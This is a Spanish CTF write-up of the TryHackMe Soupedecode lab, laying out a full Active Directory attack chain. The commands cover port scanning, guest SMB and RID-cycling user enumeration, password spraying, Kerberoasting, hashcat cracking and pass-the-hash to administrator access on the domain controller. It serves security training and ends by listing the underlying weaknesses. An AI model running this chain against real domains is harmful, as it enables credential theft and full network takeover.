Ir al contenido

Write-up: Soupedecode (TryHackMe)

Guía en Español
17 de marzo de 2026 por
Write-up: Soupedecode (TryHackMe)
Gerardo


1. Fase de Reconocimiento y Enumeración

El objetivo inicial es identificar la superficie de ataque y los servicios expuestos en el objetivo.

1.1. Descubrimiento de Puertos (TCP Connect/SYN)

Para minimizar el ruido y maximizar la velocidad, se realizó un escaneo inicial agresivo sobre todos los puertos posibles.

Comando ejecutado:

Terminal

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP_MAQUINA>
        

  • Lógica:

    • -p-: Evalúa el rango completo (1-65535) para no perder servicios en puertos no estándar.

    • --min-rate 5000: Fuerza el envío de paquetes a alta velocidad.

    • -sS: Escaneo SYN (semi-abierto), más rápido y discreto que un connect completo.

1.2. Enumeración de Servicios y Versiones

Tras identificar los puertos abiertos, se procedió a un escaneo exhaustivo utilizando scripts de reconocimiento (-sC) y detección de versiones (-sV) para perfilar el sistema operativo y los servicios.

Comando ejecutado:

Terminal

nmap -sCV -p 3389,135,139,445,53,49673,3268,49706,464,389,49667,49712,9389 -oN escaneo <IP_MAQUINA>
        


  • Resultado Crítico: Se identificó el dominio SOUPEDECODE.LOCAL y el hostname DC01.

  • Acción Inmediata: Para interactuar con los servicios que requieren resolución de nombres (como Kerberos), es imperativo añadir el objetivo a nuestro archivo de hosts local.

Configuración de resolución de nombres:

Terminal

echo "<IP_MAQUINA> SOUPEDECODE.LOCAL DC01.SOUPEDECODE.LOCAL" | sudo tee -a /etc/hosts
        

2. Acceso Inicial: Enumeración de Usuarios

Al detectar el puerto 445 (SMB) abierto, se evaluaron los permisos de acceso anónimo o de invitado, un vector común de fuga de información en entornos Windows.

2.1. Enumeración de Recursos Compartidos (Null Session)

Comando ejecutado:

Terminal

nxc smb <IP_MAQUINA> -u guest -p '' --shares
        


  • Hallazgo: Acceso de lectura (READ) al recurso IPC$. Aunque no contiene archivos, este recurso permite enumerar usuarios mediante consultas RPC.

2.2. RID Cycling (Extracción de Usuarios)

Aprovechando el acceso a IPC$, se utilizó la técnica de RID Cycling. Se consulta secuencialmente al Security Account Manager (SAM) mapeando IDs numéricos a nombres de usuario.

Comando ejecutado:

Terminal

nxc smb <IP_MAQUINA> -u guest -p '' --rid > users
        
2.3. Procesamiento y Limpieza de Datos

La salida bruta contiene información innecesaria. Para realizar ataques de diccionario posteriores, se depuró la lista utilizando herramientas de procesamiento de texto de Linux, extrayendo únicamente los nombres de usuario.

Comando ejecutado:

Terminal

cat users | awk '{print $6}' | cut -d '\' -f2 > users_clean
        


  • Lógica:

    1. awk '{print $6}': Selecciona la columna que contiene DOMINIO\Usuario.

    2. cut -d '\' -f2: Elimina el prefijo del dominio, dejando solo el nombre del usuario.

2.4. Password Spraying (Fuerza Bruta Dirigida)

Se ejecutó un ataque de "Password Spraying" probando una vulnerabilidad lógica común: usuarios que utilizan su propio nombre como contraseña. Esto evita el bloqueo de cuentas que ocurriría con fuerza bruta tradicional.

Comando ejecutado:

Terminal

nxc smb <IP_MAQUINA> -u users_clean -p users_clean --no-brute --continue-on-success
        


  • Éxito: El usuario ybob317 utiliza la contraseña ybob317.

2.5. Obtención de la Primera Bandera

Con credenciales válidas, se verificaron los permisos del usuario y se accedió a su directorio personal.

Verificación de permisos:

Terminal

nxc smb <IP_MAQUINA> -u ybob317 -p ybob317 --shares
        


Acceso y exfiltración:

Terminal

smbclient //<IP_MAQUINA>/Users -U ybob317
        


Dentro de la consola interactiva SMB:

Terminal

mget user.txt
        


Lectura de la evidencia:

Terminal

cat user.txt
        


3. Escalada de Privilegios Lateral: Kerberoasting

Con un usuario validado en el dominio, se procedió a atacar el protocolo Kerberos. Cualquier usuario autenticado puede solicitar Tickets de Servicio (TGS) para cuentas que ejecutan servicios (Service Principal Names).

3.1. Solicitud y Extracción de Hashes (TGS-REP)

Comando ejecutado:

Terminal

impacket-GetUserSPNs soupedecode.local/ybob317:ybob317 -dc-ip <IP_MAQUINA> -request > hash.txt
        


  • Lógica: Se solicitan tickets para servicios registrados. La respuesta incluye el ticket de servicio (TGS) cifrado con la clave secreta de la cuenta de servicio que ejecuta el SPN (file_svc y firewall_svc).

3.2. Cracking Offline (Hashcat)

Se intentó romper el cifrado del ticket TGS (tipo 23) utilizando fuerza bruta basada en diccionarios.

Comando ejecutado:

Terminal

hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt
        


  • Resultado: Se recuperó la contraseña en texto plano del usuario file_svc: Password123!!.

4. Movimiento Lateral: Análisis de Información Sensible

Utilizando las nuevas credenciales de file_svc, se enumeraron recursos compartidos previamente inaccesibles. Se detectó acceso al recurso backup.

4.1. Exfiltración de Datos de Respaldo

Acceso al recurso:

Terminal

smbclient //<IP_MAQUINA>/backup -U file_svc
        

Dentro de la consola SMB:

Terminal

mget backup_extract.txt
        
4.2. Análisis y Minería de Datos

El archivo backup_extract.txt contenía un volcado de credenciales NTLM de varias cuentas de máquina (identificadas por el sufijo $). Se procedió a separar los usuarios y los hashes NT para automatizar el ataque de Pass-the-Hash.

Lectura del archivo:

Terminal

cat backup_extract.txt
        


Extracción de Usuarios:

Terminal

cat backup_extract.txt | cut -d ':' -f1 > hash_user
        


Extracción de Hashes (NT):

Terminal

cat backup_extract.txt | cut -d ':' -f4 > hash_password
        


5. Movimiento Lateral Final y Compromiso del Dominio


Con las listas de usuarios y hashes preparadas, se validó qué cuentas tenían privilegios administrativos autenticándose mediante NTLM Pass-the-Hash, sin necesidad de conocer la contraseña en texto plano (Técnica: Pass-the-Hash).

5.1. Validación de Credenciales Administrativas

Comando ejecutado:

Terminal

nxc smb <IP_MAQUINA> -u hash_user -H hash_password --no-bruteforce
        


  • Resultado Crítico: La cuenta de máquina FileServer$ devolvió el estado (Pwn3d!), indicando acceso administrativo exitoso sobre el Domain Controller.

5.2. Acceso Final y Obtención de Root Flag

Para interactuar con el sistema de archivos como administrador, se utilizó impacket-smbclient inyectando el hash recuperado.

Comando ejecutado:

Terminal

impacket-smbclient 'soupedecode.local/FileServer$@<IP_MAQUINA>' -hashes :e41da7e79a4c76dbd9cf79d1cb325559
        


  • Nota Técnica: Se antepuso : al hash para indicar un valor vacío para la parte LM del hash, formato requerido por la librería Impacket (LM:NT).

Navegación final hacia el objetivo:

Terminal

cd Users
cd Administrator
cd Desktop
ls
cat root.txt

        


Conclusión Técnica

La cadena de compromiso fue posible debido a múltiples fallos de seguridad encadenados:

  1. Enumeración de Usuarios: Permisos excesivos en IPC$ permitieron listar usuarios válidos.

  2. Contraseñas Débiles: El uso del nombre de usuario como contraseña (ybob317) facilitó el acceso inicial.

  3. Kerberoasting: Cuentas de servicio (file_svc) con contraseñas vulnerables a diccionario.

  4. Información Expuesta: Almacenamiento inseguro de hashes NTLM en recursos compartidos de red (backup).


en CTF